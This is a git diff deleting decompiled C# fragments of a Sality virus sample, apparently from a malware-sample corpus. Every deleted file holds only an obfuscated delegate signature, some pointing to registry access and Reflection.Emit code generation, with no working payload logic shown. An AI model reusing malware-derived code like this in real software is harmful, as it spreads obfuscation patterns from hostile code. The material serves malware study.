a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0098\u0005([In] object obj0, [In] AnchorStyles obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0002.cs deleted file mode 100644 index 198430be..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Graphics \u0099\u0002([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0003.cs deleted file mode 100644 index d9dec6ca..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; - -internal delegate AppDomain \u0099\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0004.cs deleted file mode 100644 index d4fb2188..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; - -internal delegate Color \u0099\u0004(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0005.cs deleted file mode 100644 index 73feea91..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ™ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0099\u0005([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0002.cs deleted file mode 100644 index 94f1d943..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly[] \u009A\u0002([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0003.cs deleted file mode 100644 index f74bd7b6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u009A\u0003([In] object obj0, [In] Control obj1, [In] string obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0004.cs deleted file mode 100644 index 00d1a68f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u009A\u0004([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0005.cs deleted file mode 100644 index 230d00de..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using Microsoft.Win32; -using System.Runtime.InteropServices; - -internal delegate RegistryKey \u009A\u0005([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0002.cs deleted file mode 100644 index 418c6e8d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009B\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0003.cs deleted file mode 100644 index bd135dc3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0003.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate DialogResult \u009B\u0003( - [In] string obj0, - [In] string obj1, - [In] MessageBoxButtons obj2, - [In] MessageBoxIcon obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0004.cs deleted file mode 100644 index 99b6efe3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009B\u0004([In] string obj0, [In] string obj1, [In] string obj2, [In] string obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0005.cs deleted file mode 100644 index 7c762c7b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: › -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u009B\u0005([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0002.cs deleted file mode 100644 index 357c350b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u009C\u0002([In] object obj0, [In] Size obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0003.cs deleted file mode 100644 index 16ecb497..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u009C\u0003([In] object obj0, [In] Type obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0004.cs deleted file mode 100644 index 63ad711c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u009C\u0004([In] object obj0, [In] Icon obj1, [In] Rectangle obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0005.cs deleted file mode 100644 index e85c258b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u009C\u0005([In] int obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0002.cs deleted file mode 100644 index c3545849..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u009D\u0002([In] object obj0, [In] Rectangle obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0003.cs deleted file mode 100644 index b7588aea..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u009D\u0003([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0004.cs deleted file mode 100644 index dddfb590..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u009D\u0004([In] object obj0, [In] byte obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0005.cs deleted file mode 100644 index d97613bb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u009D\u0005([In] int obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0002.cs deleted file mode 100644 index df769f17..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u009E\u0002([In] byte[] obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0003.cs deleted file mode 100644 index e19a20e5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0003.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -internal delegate string \u009E\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0004.cs deleted file mode 100644 index f5822ddb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate char \u009E\u0004([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0005.cs deleted file mode 100644 index 20bb1309..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u009E\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0002.cs 